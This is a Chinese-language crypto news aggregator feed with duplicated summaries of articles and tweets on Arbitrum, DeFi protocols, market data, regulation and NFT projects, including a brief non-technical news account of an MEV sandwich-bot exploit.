    Chainfeeds 导读： zkSafe 是 ZK Hack 里斯本黑客松项目，由 Immunefi 研究总监 Emiliano Bonassi 构建。Emiliano 撰文解析了 zkSafe 如何使用 Safe 和 Sismo zkConnect 实现账户抽象。 文章来源： https://twitter.com/emilianobonassi/status/1642792494550208513 文章作者： emiliano.⌐◨-◨ 观点： emiliano.⌐◨-◨：受益于 Gnosis 安全模块框架和 Sismo zkConnect 单点登录，zkSafe 允许用户使用电子邮件或推特帐户等 Web2 账户登陆 Safe 钱包，以及启用额外的访问控制逻辑。此外，用户还可以借助 zkSafe 扩展更多诸如社交恢复、跨链执行等基于零知识证明的用例。【原文为英文】 内容来源 emiliano.⌐◨-◨：演示文稿：https://devfolio.co/projects/zksafe-173a。 代码：https://github.com/emilianobonassi/zkSafe。 内容来源  ( 2 min )
    【英文长推】新项目前瞻｜zkSafe：基于 Safe 和 zkConnect 的账户抽象方案
    Chainfeeds 导读： zkSafe 是 ZK Hack 里斯本黑客松项目，由 Immunefi 研究总监 Emiliano Bonassi 构建。Emiliano 撰文解析了 zkSafe 如何使用 Safe 和 Sismo zkConnect 实现账户抽象。 文章来源： https://twitter.com/emilianobonassi/status/1642792494550208513 文章作者： emiliano.⌐◨-◨ 观点： emiliano.⌐◨-◨：受益于 Gnosis 安全模块框架和 Sismo zkConnect 单点登录，zkSafe 允许用户使用电子邮件或推特帐户等 Web2 账户登陆 Safe 钱包，以及启用额外的访问控制逻辑。此外，用户还可以借助 zkSafe 扩展更多诸如社交恢复、跨链执行等基于零知识证明的用例。【原文为英文】 内容来源 emiliano.⌐◨-◨：演示文稿：https://devfolio.co/projects/zksafe-173a。 代码：https://github.com/emilianobonassi/zkSafe。 内容来源  ( 2 min )
    从白宫到 Web3：扒一扒 Arbitrum 创始人 Ed Felten 的过往
    Chainfeeds 导读： 周末，Arbitrum 社区关于 DAO 金库 Token 分配的提案引起了剧烈的讨论，在「DAO 名存实亡」的阵阵声讨中，区块律动作者 Jaleel 深入调查了 Arbitrum 团队背后的故事，并总结了 Arbitrum 项目的发展历程。 文章来源： https://www.theblockbeats.info/news/36157 文章作者： Jaleel 观点： Jaleel：Edward William Felten，1963 年 3 月 25 日出生。Felten 就读于加州理工学院，并于 1985 年获得物理学学位，1991 年获 MS 硕士学位，1993 年获博士学位，论文是关于开发并行处理器之间通信的自动化协议。1993 年，Felton 作为助理教授加入普林斯顿大学计算机科学系，并于 1999 年晋升为副教授，2003 年晋升为教授。 内容来源 Jaleel：2012 年和 2013 年间，Felten 开始接触和研究比特币及区块链技术。2015 年初，Arbitrum 以一门区块链课程结课作品的身份首次展示在大家眼前。2018 年 8 月，Felten 与他的两位博士学生 Steven Goldfeder 和 Harry Kalodner 共同完成名为「Arbitrum: Scalable, private smart contracts」的学术著作，同年，三人联合创立 Offchain Labs，Arbitrum 正式立项。 内容来源 Jaleel：Arbitrum 简要编年史：2020 年 2 月，Arbitrum 的第一版测试网上线。2021 年 5 月， Arbitrum One 测试网部署，同年 9 月，Arbitrum 推出了主网 Arbitrum One，并宣布完成了一轮 1.2 亿美元的 B 轮融资。2022 年 6 月，Arbitrum 推出了 Odyssey 奥德赛项目。2022 年 7 月，Arbitrum 宣布构建新链「Arbitrum Nova」，并在 9 月 1 日成功升级到 Nitro 版本。2023 年 2 月 7 日，Offchain Labs 开发团队宣布将推出下一代编程环境 Stylus。 内容来源
    从白宫到 Web3：扒一扒 Arbitrum 创始人 Ed Felten 的过往
    Chainfeeds 导读： 周末，Arbitrum 社区关于 DAO 金库 Token 分配的提案引起了剧烈的讨论，在「DAO 名存实亡」的阵阵声讨中，区块律动作者 Jaleel 深入调查了 Arbitrum 团队背后的故事，并总结了 Arbitrum 项目的发展历程。 文章来源： https://www.theblockbeats.info/news/36157 文章作者： Jaleel 观点： Jaleel：Edward William Felten，1963 年 3 月 25 日出生。Felten 就读于加州理工学院，并于 1985 年获得物理学学位，1991 年获 MS 硕士学位，1993 年获博士学位，论文是关于开发并行处理器之间通信的自动化协议。1993 年，Felton 作为助理教授加入普林斯顿大学计算机科学系，并于 1999 年晋升为副教授，2003 年晋升为教授。 内容来源 Jaleel：2012 年和 2013 年间，Felten 开始接触和研究比特币及区块链技术。2015 年初，Arbitrum 以一门区块链课程结课作品的身份首次展示在大家眼前。2018 年 8 月，Felten 与他的两位博士学生 Steven Goldfeder 和 Harry Kalodner 共同完成名为「Arbitrum: Scalable, private smart contracts」的学术著作，同年，三人联合创立 Offchain Labs，Arbitrum 正式立项。 内容来源 Jaleel：Arbitrum 简要编年史：2020 年 2 月，Arbitrum 的第一版测试网上线。2021 年 5 月， Arbitrum One 测试网部署，同年 9 月，Arbitrum 推出了主网 Arbitrum One，并宣布完成了一轮 1.2 亿美元的 B 轮融资。2022 年 6 月，Arbitrum 推出了 Odyssey 奥德赛项目。2022 年 7 月，Arbitrum 宣布构建新链「Arbitrum Nova」，并在 9 月 1 日成功升级到 Nitro 版本。2023 年 2 月 7 日，Offchain Labs 开发团队宣布将推出下一代编程环境 Stylus。 内容来源
    【英文长推】借贷协议 Timeswap 解析及 ARB 套利策略推荐
    Chainfeeds 导读： Timeswap 是支持 ERC-20 代币的链上借贷协议，其 USDC - ARB 资金池目前年化收益高达 40% 以上。加密 KOL Winter Soldier 解析了 Timeswap AMM 机制的运行原理，并推荐了在 Timeswap 进行 ARB 套利的策略。 文章来源： https://twitter.com/WinterSoldierxz/status/1642536117890334721 文章作者： Winter Soldier 观点： Winter Soldier：Timeswap 使用基于 3 个变量的 AMM 机制，从而在无需预言机的情况下，提高资本效率且无需许可。AMM 机制：(X+Y)*Z=K 中，X+Y 是资金池中的抵押债权代币（CCT）的数量，Z 是资金池中每秒的债券代币（BT）储备量，K 是恒定乘积。AMM 用于发现资金池的利率（APR）和抵押品系数（CDP），同时始终保持恒定乘积 K。【原文为英文】 内容来源 Winter Soldier：做多策略 1：借入 USDC 做多 ARB。用 ARB 作为抵押品借入 USDC → 用 USDC 换取 ARB → 循环进行；做多策略 2：借出 USDC 做多 ARB。资金池的过渡价格（即执行价格）为 0.8 美元，年利率为 31.44%。到期时，如果 ARB 低于 0.8 美元 → 借款人违约 → 贷款人收到 ARB；如果 ARB 高于 0.8 美元 → 借款人需要偿还 USDC 债务 → 贷款人获得 USDC 本金 + 收益率。做空策略亦然。【原文为英文】 内容来源 Winter Soldier：Timeswap V2 将带来以下改进：4-5 倍的资本效率；借款和贷款的双向池子；池子始终是超额抵押的（有利于 LP 和贷款人）；单边流动性。【原文为英文】 内容来源  ( 2 min )
    【英文长推】借贷协议 Timeswap 解析及 ARB 套利策略推荐
    Chainfeeds 导读： Timeswap 是支持 ERC-20 代币的链上借贷协议，其 USDC - ARB 资金池目前年化收益高达 40% 以上。加密 KOL Winter Soldier 解析了 Timeswap AMM 机制的运行原理，并推荐了在 Timeswap 进行 ARB 套利的策略。 文章来源： https://twitter.com/WinterSoldierxz/status/1642536117890334721 文章作者： Winter Soldier 观点： Winter Soldier：Timeswap 使用基于 3 个变量的 AMM 机制，从而在无需预言机的情况下，提高资本效率且无需许可。AMM 机制：(X+Y)*Z=K 中，X+Y 是资金池中的抵押债权代币（CCT）的数量，Z 是资金池中每秒的债券代币（BT）储备量，K 是恒定乘积。AMM 用于发现资金池的利率（APR）和抵押品系数（CDP），同时始终保持恒定乘积 K。【原文为英文】 内容来源 Winter Soldier：做多策略 1：借入 USDC 做多 ARB。用 ARB 作为抵押品借入 USDC → 用 USDC 换取 ARB → 循环进行；做多策略 2：借出 USDC 做多 ARB。资金池的过渡价格（即执行价格）为 0.8 美元，年利率为 31.44%。到期时，如果 ARB 低于 0.8 美元 → 借款人违约 → 贷款人收到 ARB；如果 ARB 高于 0.8 美元 → 借款人需要偿还 USDC 债务 → 贷款人获得 USDC 本金 + 收益率。做空策略亦然。【原文为英文】 内容来源 Winter Soldier：Timeswap V2 将带来以下改进：4-5 倍的资本效率；借款和贷款的双向池子；池子始终是超额抵押的（有利于 LP 和贷款人）；单边流动性。【原文为英文】 内容来源  ( 2 min )
    【英文】2023 年第一季度链上数据复盘：加密市场显著复苏
    Chainfeeds 导读： 加密研究机构 IntoTheBlock 发布 2023 年第一季度链上数据复盘，从网络费用、中心化交易所资金流量等数据复盘了第一季度加密市场的积极表现，并列举了多个影响第二季度市场走向的催化剂。 文章来源： https://medium.com/intotheblock/q1-2023-on-chain-85131b11df3 文章作者： Lucas 观点： Lucas：网络费用：随着 Ordinals 协议带来的 NFT 用例，比特币网络的季度费用达到了 2021 年第四季度以来的最高水平。以太坊网络的费用攀升至 2022 年第二季度以来的最高水平，原因是受 USDC 脱锚以及 ARB 和 BLUR 空投等事件的影响。【原文为英文】 内容来源 Lucas：交易所净流量：第一季度有价值 8.15 亿美元的 ETH 流出中心化交易所，这一数字正在持续下降。第一季度有价值 6.63 亿美元的 BTC 流入中心化交易所，考虑到上一季度 BTC 的流出量为 41 亿美元，这很有可能是 BTC 价格上涨约 70% 带来的获利回吐。【原文为英文】 内容来源 Lucas：二季度催化剂：1. 测试支撑位：BTC 和 ETH 分别在 27000 美元和 1700 美元处有大量买单；2. 长期投资者增持：持有资产超过一年的地址在 2023 年至今分别增持了 134 亿美元的 BTC 和 47 亿美元的 ETH；3. 以太坊上海升级长期来看会鼓励更多的 ETH 持有者进行质押；4. 距离 BTC 减半还有一年，可能会有提前的上涨。【原文为英文】 内容来源  ( 9 min )
    【英文】2023 年第一季度链上数据复盘：加密市场显著复苏
    Chainfeeds 导读： 加密研究机构 IntoTheBlock 发布 2023 年第一季度链上数据复盘，从网络费用、中心化交易所资金流量等数据复盘了第一季度加密市场的积极表现，并列举了多个影响第二季度市场走向的催化剂。 文章来源： https://medium.com/intotheblock/q1-2023-on-chain-85131b11df3 文章作者： Lucas 观点： Lucas：网络费用：随着 Ordinals 协议带来的 NFT 用例，比特币网络的季度费用达到了 2021 年第四季度以来的最高水平。以太坊网络的费用攀升至 2022 年第二季度以来的最高水平，原因是受 USDC 脱锚以及 ARB 和 BLUR 空投等事件的影响。【原文为英文】 内容来源 Lucas：交易所净流量：第一季度有价值 8.15 亿美元的 ETH 流出中心化交易所，这一数字正在持续下降。第一季度有价值 6.63 亿美元的 BTC 流入中心化交易所，考虑到上一季度 BTC 的流出量为 41 亿美元，这很有可能是 BTC 价格上涨约 70% 带来的获利回吐。【原文为英文】 内容来源 Lucas：二季度催化剂：1. 测试支撑位：BTC 和 ETH 分别在 27000 美元和 1700 美元处有大量买单；2. 长期投资者增持：持有资产超过一年的地址在 2023 年至今分别增持了 134 亿美元的 BTC 和 47 亿美元的 ETH；3. 以太坊上海升级长期来看会鼓励更多的 ETH 持有者进行质押；4. 距离 BTC 减半还有一年，可能会有提前的上涨。【原文为英文】 内容来源  ( 9 min )
    推特用户 3155.eth：三明治交易机器人因交易模块被黑客替换损失超 2000 万美元
    推特用户 3155.eth：三明治交易机器人因交易模块被黑客替换损失超 2000 万美元 推特用户 3155.eth 通过链上交易信息发现，多个三明治交易机器人因为其套利的交易模块被替换，导致损失超过 2000 万美元。3155.eth 猜测可能是验证者作恶，并表示这将会是整个 MEV 生态系统的重要转折点。 内容来源 观点： Flynngao：简单解释：黑客拿到了三明治套利的大户 bot 的 bundle 交易，bundle 里有 3 个交易为：1 大量买入，2 被夹用户的交易，3 大量卖出，黑客拿到了这个 bundle，拆解了 bundle，把 2 替换了成自己的交易，用便宜 token 换走了 bot 的资金，3 失败。 内容来源  ( 2 min )
    推特用户 3155.eth：三明治交易机器人因交易模块被黑客替换损失超 2000 万美元
    推特用户 3155.eth：三明治交易机器人因交易模块被黑客替换损失超 2000 万美元 推特用户 3155.eth 通过链上交易信息发现，多个三明治交易机器人因为其套利的交易模块被替换，导致损失超过 2000 万美元。3155.eth 猜测可能是验证者作恶，并表示这将会是整个 MEV 生态系统的重要转折点。 内容来源 观点： Flynngao：简单解释：黑客拿到了三明治套利的大户 bot 的 bundle 交易，bundle 里有 3 个交易为：1 大量买入，2 被夹用户的交易，3 大量卖出，黑客拿到了这个 bundle，拆解了 bundle，把 2 替换了成自己的交易，用便宜 token 换走了 bot 的资金，3 失败。 内容来源  ( 2 min )
    【长推】越南或将加密立法？全景式解读 Coin98 发展路径及优劣势
    Chainfeeds 导读： Web3 在越南市场非常火热，越南年轻人对加密的接受程度非常高。THUBA DAO 核心成员 Fred Li 从越南加密宏观情况出发，撰文对越南区块链公司 Coin98 的背景、发展、代币经济学、投资背景及未来发展进行了分析解读。 文章来源： https://twitter.com/Dacongfred/status/1642190623334645760 文章作者： Fred Li 观点： Fred Li：据 Chainalysis 研究，越南在采用加密货币方面处于领先地位，有 28.8% 的区块链项目或去中心化金融应用程序在越南开发。主要有三个方面的原因，首先从历史来看，越南遭受了很多经济不稳定和通货膨胀，传统银行无法提供良好的回报，并且提供的服务有限。从民众实际需求而言，在国外工作的越南人可以通过使用比特币等加密货币以低费用寄钱养家。最后从政策监管方面，目前加密货币在越南属于一个灰色区域，没有明确的法律框架禁止或者支持。 内容来源 Fred Li：Coin98 是一家总部位于越南的区块链公司，旨在为用户提供一站式的加密货币和 DeFi 服务，最早是内容起家，直到 2020 年推出第一个产品后，逐渐开始做产品搭建生态来解决新的行业问题，包括 Coin98 交易所、Coin98 Portfolio 及 Coin98 Market 等。代币经济学上，C98 总供应量为 10 亿，目前流通总量为 2.16 亿，同时具有效用和治理价值。从投资背景来看，Coin98 背后有很多亚洲头部资本的身影，例如 Hashkey 等。 内容来源 Fred Li：总体而言，Coin98 致力于建立一个完整的跨链生态系统，通过整合多种区块链钱包的功能，使用户能够更加顺畅地进行多链交易和使用 DEX，实现不同区块链之间的互操作性。但目前从产品功能上来看 Coin98 主打的多链生态暂未发现特别显著的优势，某种程度上更多的是乘着越南加密叙事的东风。等到越南加密立法后，相信对越南的头部项目 Coin98、Kyber Network 会有利好。 内容来源  ( 2 min )
    【长推】越南或将加密立法？全景式解读 Coin98 发展路径及优劣势
    Chainfeeds 导读： Web3 在越南市场非常火热，越南年轻人对加密的接受程度非常高。THUBA DAO 核心成员 Fred Li 从越南加密宏观情况出发，撰文对越南区块链公司 Coin98 的背景、发展、代币经济学、投资背景及未来发展进行了分析解读。 文章来源： https://twitter.com/Dacongfred/status/1642190623334645760 文章作者： Fred Li 观点： Fred Li：据 Chainalysis 研究，越南在采用加密货币方面处于领先地位，有 28.8% 的区块链项目或去中心化金融应用程序在越南开发。主要有三个方面的原因，首先从历史来看，越南遭受了很多经济不稳定和通货膨胀，传统银行无法提供良好的回报，并且提供的服务有限。从民众实际需求而言，在国外工作的越南人可以通过使用比特币等加密货币以低费用寄钱养家。最后从政策监管方面，目前加密货币在越南属于一个灰色区域，没有明确的法律框架禁止或者支持。 内容来源 Fred Li：Coin98 是一家总部位于越南的区块链公司，旨在为用户提供一站式的加密货币和 DeFi 服务，最早是内容起家，直到 2020 年推出第一个产品后，逐渐开始做产品搭建生态来解决新的行业问题，包括 Coin98 交易所、Coin98 Portfolio 及 Coin98 Market 等。代币经济学上，C98 总供应量为 10 亿，目前流通总量为 2.16 亿，同时具有效用和治理价值。从投资背景来看，Coin98 背后有很多亚洲头部资本的身影，例如 Hashkey 等。 内容来源 Fred Li：总体而言，Coin98 致力于建立一个完整的跨链生态系统，通过整合多种区块链钱包的功能，使用户能够更加顺畅地进行多链交易和使用 DEX，实现不同区块链之间的互操作性。但目前从产品功能上来看 Coin98 主打的多链生态暂未发现特别显著的优势，某种程度上更多的是乘着越南加密叙事的东风。等到越南加密立法后，相信对越南的头部项目 Coin98、Kyber Network 会有利好。 内容来源  ( 2 min )
    【英文长推】解读 Neutra Finance：Delta 中性 GLP 策略金库协议
    Chainfeeds 导读： 加密 KOL 2Lamborz 撰推介绍 Arbitrum 生态项目 Delta 中性 GLP 策略金库协议 Neutra Finance，解析其 nGLP V2 版本、金库、代币经济学更新，并总结为什么看好这个协议。 文章来源： https://twitter.com/2lambro/status/1642534517880782855 文章作者： 2lambroz.eth 观点： 2lambroz.eth：为什么看好它？1）Arbitrum Season 到来；2）其交易量和收益率都在上升；3）他们开发者切实在构建、交付和改进；4）直接与 GMX 合作。nGLP V2 版本更新：1）产品功能更新；2）即时存取款；3）允许用 GLP 入金；4）新的统计页面。这些都是小而有用的功能，可以让真正的用户对协议产生粘性。【原文为英文】 内容来源 2lambroz.eth：金库改进：1）提高了对冲杠杆以提高效率；2）意味着他们现在需要更少的资金来对冲 Delta（保持 Delta 中性）；3）更多的钱投入 GLP 以获得更高的收益。代币经济学更新：1）地板价基金支持价格从 $0.65 提高至 >1；2）正在将 $NEU 转变为通货紧缩的代币经济学，财政部将部署到 nGLP 中，并销毁 DAI 和 esNEU 奖励。【原文为英文】 内容来源  ( 2 min )
    【英文长推】解读 Neutra Finance：Delta 中性 GLP 策略金库协议
    Chainfeeds 导读： 加密 KOL 2Lamborz 撰推介绍 Arbitrum 生态项目 Delta 中性 GLP 策略金库协议 Neutra Finance，解析其 nGLP V2 版本、金库、代币经济学更新，并总结为什么看好这个协议。 文章来源： https://twitter.com/2lambro/status/1642534517880782855 文章作者： 2lambroz.eth 观点： 2lambroz.eth：为什么看好它？1）Arbitrum Season 到来；2）其交易量和收益率都在上升；3）他们开发者切实在构建、交付和改进；4）直接与 GMX 合作。nGLP V2 版本更新：1）产品功能更新；2）即时存取款；3）允许用 GLP 入金；4）新的统计页面。这些都是小而有用的功能，可以让真正的用户对协议产生粘性。【原文为英文】 内容来源 2lambroz.eth：金库改进：1）提高了对冲杠杆以提高效率；2）意味着他们现在需要更少的资金来对冲 Delta（保持 Delta 中性）；3）更多的钱投入 GLP 以获得更高的收益。代币经济学更新：1）地板价基金支持价格从 $0.65 提高至 >1；2）正在将 $NEU 转变为通货紧缩的代币经济学，财政部将部署到 nGLP 中，并销毁 DAI 和 esNEU 奖励。【原文为英文】 内容来源  ( 2 min )
    「主权个人」读后感：掌控信息时代的变革
    Chainfeeds 导读： 「主权个人（The Sovereign Individual）」是本划时代的书，写于 1990 年代中期，但其预见了信息革命对未来几十年的全球政治，经济和组织结构的深远影响，包括数字 / 加密货币的出现等。加密研究员 CryPto33 撰文讲述了该书的分析框架、推导结论及客观评价等内容。 文章来源： https://mirror.xyz/crypto33.eth/wSZ8xSf4YWSpQT0EUwkT8l6CIpFAlceMJcp0cfhAoL0 文章作者： 陈鹏 CryPto33 观点： 陈鹏 CryPto33：以太坊联合创始人 Vitalik Buterin 总体认同本书作者对信息时代来临的大趋势的分析，尽管认为过程会更久。不认同作者的内容包括：过度个人主义而忽视公平性；没有回答人们从哪里找归属感；跨组织的合作；低估政府反抗 / 收税的能力；忽略全球层面在公共物品上协作的价值；没有预见到网络效应带来的规模效应递增，以及所产生的垄断互联网巨头成为新崛起的重要的政经力量。 内容来源 陈鹏 CryPto33：「主权个人」书里直接讲加密货币的内容并不多，全书占比不到 10%，核心主旨追求个人对财富的掌控，不受主权国家的侵扰正是加密货币最原教旨的精神。在科技的政治光谱里，加密货币是偏右派思想，而 AI 更偏左派。而我个人认为在加密货币的意识形态光谱里，比特币是更典型的自由右派的精神体现，但以太坊更看重公平和发展解决问题带来进步，更偏左一些些。 内容来源 陈鹏 CryPto33：整个加密货币是从加密算法出现开始有 50 年多的积淀，用加密技术来维护个人财富的思潮也有几十年的酝酿，都在 08 年比特币落地了。这是一个几十年的思潮的结晶，凝聚了几代自由右派人的智慧，所以这股力量非常强大，不是现存的监管就能否定的。 内容来源  ( 3 min )
    「主权个人」读后感：掌控信息时代的变革
    Chainfeeds 导读： 「主权个人（The Sovereign Individual）」是本划时代的书，写于 1990 年代中期，但其预见了信息革命对未来几十年的全球政治，经济和组织结构的深远影响，包括数字 / 加密货币的出现等。加密研究员 CryPto33 撰文讲述了该书的分析框架、推导结论及客观评价等内容。 文章来源： https://mirror.xyz/crypto33.eth/wSZ8xSf4YWSpQT0EUwkT8l6CIpFAlceMJcp0cfhAoL0 文章作者： 陈鹏 CryPto33 观点： 陈鹏 CryPto33：以太坊联合创始人 Vitalik Buterin 总体认同本书作者对信息时代来临的大趋势的分析，尽管认为过程会更久。不认同作者的内容包括：过度个人主义而忽视公平性；没有回答人们从哪里找归属感；跨组织的合作；低估政府反抗 / 收税的能力；忽略全球层面在公共物品上协作的价值；没有预见到网络效应带来的规模效应递增，以及所产生的垄断互联网巨头成为新崛起的重要的政经力量。 内容来源 陈鹏 CryPto33：「主权个人」书里直接讲加密货币的内容并不多，全书占比不到 10%，核心主旨追求个人对财富的掌控，不受主权国家的侵扰正是加密货币最原教旨的精神。在科技的政治光谱里，加密货币是偏右派思想，而 AI 更偏左派。而我个人认为在加密货币的意识形态光谱里，比特币是更典型的自由右派的精神体现，但以太坊更看重公平和发展解决问题带来进步，更偏左一些些。 内容来源 陈鹏 CryPto33：整个加密货币是从加密算法出现开始有 50 年多的积淀，用加密技术来维护个人财富的思潮也有几十年的酝酿，都在 08 年比特币落地了。这是一个几十年的思潮的结晶，凝聚了几代自由右派人的智慧，所以这股力量非常强大，不是现存的监管就能否定的。 内容来源  ( 3 min )
    那些年遭遇监管的加密项目，都怎么样了？
    Chainfeeds 导读： 加密项目被监管调查后，命运各不相同。有些项目被迫关闭，有些项目逃避监管，有些项目与监管机构合作，有些项目则顺应监管趋势并进行合规改进。ODaily 作者 Loopy Lu，撰文盘点历史上被调查的一些加密项目，按结局进行分类梳理。 文章来源： https://www.odaily.news/post/5186177 文章作者： Loopy Lu 观点： Loopy Lu：罚款和解，影响微弱：1）EOS，2400 万美元和解，这次诉讼和解使得 EOS 在代币发行方面更快进入合规化，并使得 Block.one 获得了未来业务的豁免权，对其影响巨大。2）Coinbase 与 CFTC 达成 650 万美元和解。此后，Coinbase 开启了其股价神话，其发展并未受到这一事件的影响。3）Tezos 与 SEC 达成了 2000 万美元和解，和解后 Tezos 业务并未受到影响。 内容来源 Loopy Lu：不影响主营业务，部分业务受阻：1）Kraken，质押服务关停，主体经营未受到影响，但在关闭质押之前，其质押量市场份额排名第三。2）BitMEX 因违规被美国 CFTC 和 FinCEN 处罚 1 亿美元，并导致管理团队被迫离职和美国的交易服务关闭，对 BitMEX 营收和声誉造成巨大损失。 内容来源 Loopy Lu：彻底关停，项目宣布死亡：1）Telegram 运营的区块链项目 TON（Telegram Open Network） 因为涉嫌违规销售 GRAM 被美国 SEC 起诉，项目最终终止，对投资者进行退款。不过社区重启了类似的项目 The Open Network（TON），目前市值达到 33 亿美元。2）Paxos 被 SEC 起诉，停止发行 BUSD。 内容来源 Loopy Lu：漫长拉扯，结果悬而未决：Ripple，SEC 控诉 Ripple 违反证券法规定，涉嫌非法销售 XRP；瑞波 CEO 发誓将在法庭上战胜诉讼，但多家美国交易所已暂停 XRP 交易，对其币价产生重大影响，司法纠纷至今未解。总结：虽然美监管机构的干预可能会导致短暂的行情动荡，但长远来说，这可能只是合规路上的必经阶段，无需过度恐慌。 内容来源  ( 7 min )
    那些年遭遇监管的加密项目，都怎么样了？
    Chainfeeds 导读： 加密项目被监管调查后，命运各不相同。有些项目被迫关闭，有些项目逃避监管，有些项目与监管机构合作，有些项目则顺应监管趋势并进行合规改进。ODaily 作者 Loopy Lu，撰文盘点历史上被调查的一些加密项目，按结局进行分类梳理。 文章来源： https://www.odaily.news/post/5186177 文章作者： Loopy Lu 观点： Loopy Lu：罚款和解，影响微弱：1）EOS，2400 万美元和解，这次诉讼和解使得 EOS 在代币发行方面更快进入合规化，并使得 Block.one 获得了未来业务的豁免权，对其影响巨大。2）Coinbase 与 CFTC 达成 650 万美元和解。此后，Coinbase 开启了其股价神话，其发展并未受到这一事件的影响。3）Tezos 与 SEC 达成了 2000 万美元和解，和解后 Tezos 业务并未受到影响。 内容来源 Loopy Lu：不影响主营业务，部分业务受阻：1）Kraken，质押服务关停，主体经营未受到影响，但在关闭质押之前，其质押量市场份额排名第三。2）BitMEX 因违规被美国 CFTC 和 FinCEN 处罚 1 亿美元，并导致管理团队被迫离职和美国的交易服务关闭，对 BitMEX 营收和声誉造成巨大损失。 内容来源 Loopy Lu：彻底关停，项目宣布死亡：1）Telegram 运营的区块链项目 TON（Telegram Open Network） 因为涉嫌违规销售 GRAM 被美国 SEC 起诉，项目最终终止，对投资者进行退款。不过社区重启了类似的项目 The Open Network（TON），目前市值达到 33 亿美元。2）Paxos 被 SEC 起诉，停止发行 BUSD。 内容来源 Loopy Lu：漫长拉扯，结果悬而未决：Ripple，SEC 控诉 Ripple 违反证券法规定，涉嫌非法销售 XRP；瑞波 CEO 发誓将在法庭上战胜诉讼，但多家美国交易所已暂停 XRP 交易，对其币价产生重大影响，司法纠纷至今未解。总结：虽然美监管机构的干预可能会导致短暂的行情动荡，但长远来说，这可能只是合规路上的必经阶段，无需过度恐慌。 内容来源  ( 7 min )
    【英文长推】地板价保持稳定，解读 Memeland 是如何做到真正的持续发展
    Chainfeeds 导读： Memeland 自从推出以来，3 个系列都保持稳定的地板价，价格高点和低点都不断抬高。加密研究员 Minh 撰推解析 Memeland 是如何做到真正的可持续发展，认为其团队 9gag 花大量时间学习 Web3，这就是传统品牌进入该领域的方式。 文章来源： https://twitter.com/MINHxDYNASTY/status/1642619092116049920 文章作者： Minh 观点： Minh：什么使得 Memeland 比其他项目更成功：1）创新，Memeland 没有发明新东西，只是改进了进化方式，从 Potataoz 系列开始，NFT 从土壤→植物→马铃薯→ ？2）价值，其独特的价值是炒作，并适应简单的供求原则，创造了一个 Veblen 商品（炫耀性消费品）。例如 Captainz 仅分配给 Memelists (白名单) 、 Potatoz 持有者、 Waitlists 。3）体验，既创造强大的数字体验，又通过奖池不断给予用户大量的货币价值。价值 / 利润→快乐的持有者→忠诚的社区，重复这个循环。【原文为英文】 内容来源  ( 2 min )
    【英文长推】地板价保持稳定，解读 Memeland 是如何做到真正的持续发展
    Chainfeeds 导读： Memeland 自从推出以来，3 个系列都保持稳定的地板价，价格高点和低点都不断抬高。加密研究员 Minh 撰推解析 Memeland 是如何做到真正的可持续发展，认为其团队 9gag 花大量时间学习 Web3，这就是传统品牌进入该领域的方式。 文章来源： https://twitter.com/MINHxDYNASTY/status/1642619092116049920 文章作者： Minh 观点： Minh：什么使得 Memeland 比其他项目更成功：1）创新，Memeland 没有发明新东西，只是改进了进化方式，从 Potataoz 系列开始，NFT 从土壤→植物→马铃薯→ ？2）价值，其独特的价值是炒作，并适应简单的供求原则，创造了一个 Veblen 商品（炫耀性消费品）。例如 Captainz 仅分配给 Memelists (白名单) 、 Potatoz 持有者、 Waitlists 。3）体验，既创造强大的数字体验，又通过奖池不断给予用户大量的货币价值。价值 / 利润→快乐的持有者→忠诚的社区，重复这个循环。【原文为英文】 内容来源  ( 2 min )
    【英文长推】live（3，3）：解锁被 ve（3，3）锁定的代币潜力
    Chainfeeds 导读： 常规 ve（3，3）模型存在代币锁定、劳动强度大（需要每周投票）、无法最大化投票率的缺点，Liquid Driver 将通过其新服务 live（3，3）解决这些缺点，加密研究员 Remember The Name 撰推介绍该机制的原理和首个版本 liveTHE。 文章来源： https://twitter.com/crypto_progress/status/1642214152000221185 文章作者： Remember The Name 观点： Remember The Name：Liquid Diver 的新服务旨在与 ve（3，3） DEX 协同工作，其第一个版本将是 liveTHE：veTHE 的 liquid wrapper。liveThe 是流动的，允许被用户出售、出借、进行 LP，liveTHE 将对 ve（3，3）投票进行优化管理，提供自动和最佳投票，此机制激励协议进行更多贿赂。liveThe 自动复利交易费用和贿赂 --> $THE 的买入压力更大 --> ve (3,3) 飞轮。【原文为英文】 内容来源 Remember The Name：但 liquid wrapper 可能并不总是 1:1 的比例，你的 veTHE 头寸将仅为半流动头寸（NFT），并始终以折扣价出售。其内置挂钩保护，即「回购」+ LP 自动贿赂。liveThe 收取绩效费，10% 用于 liveTHE/THE 池贿赂（激励深度流动性），8.5% 用于 mxLQDR 持有者。除了第一周以外，将 ve (3,3) 存入 live (3,3) 也会产生费用，以防止退出流动性。liveTHE 计划下周上线。【原文为英文】 内容来源  ( 2 min )
    【英文长推】live（3，3）：解锁被 ve（3，3）锁定的代币潜力
    Chainfeeds 导读： 常规 ve（3，3）模型存在代币锁定、劳动强度大（需要每周投票）、无法最大化投票率的缺点，Liquid Driver 将通过其新服务 live（3，3）解决这些缺点，加密研究员 Remember The Name 撰推介绍该机制的原理和首个版本 liveTHE。 文章来源： https://twitter.com/crypto_progress/status/1642214152000221185 文章作者： Remember The Name 观点： Remember The Name：Liquid Diver 的新服务旨在与 ve（3，3） DEX 协同工作，其第一个版本将是 liveTHE：veTHE 的 liquid wrapper。liveThe 是流动的，允许被用户出售、出借、进行 LP，liveTHE 将对 ve（3，3）投票进行优化管理，提供自动和最佳投票，此机制激励协议进行更多贿赂。liveThe 自动复利交易费用和贿赂 --> $THE 的买入压力更大 --> ve (3,3) 飞轮。【原文为英文】 内容来源 Remember The Name：但 liquid wrapper 可能并不总是 1:1 的比例，你的 veTHE 头寸将仅为半流动头寸（NFT），并始终以折扣价出售。其内置挂钩保护，即「回购」+ LP 自动贿赂。liveThe 收取绩效费，10% 用于 liveTHE/THE 池贿赂（激励深度流动性），8.5% 用于 mxLQDR 持有者。除了第一周以外，将 ve (3,3) 存入 live (3,3) 也会产生费用，以防止退出流动性。liveTHE 计划下周上线。【原文为英文】 内容来源  ( 2 min )
    个人加密市场 4 月展望：上海升级、ARB、Uniswap V3......
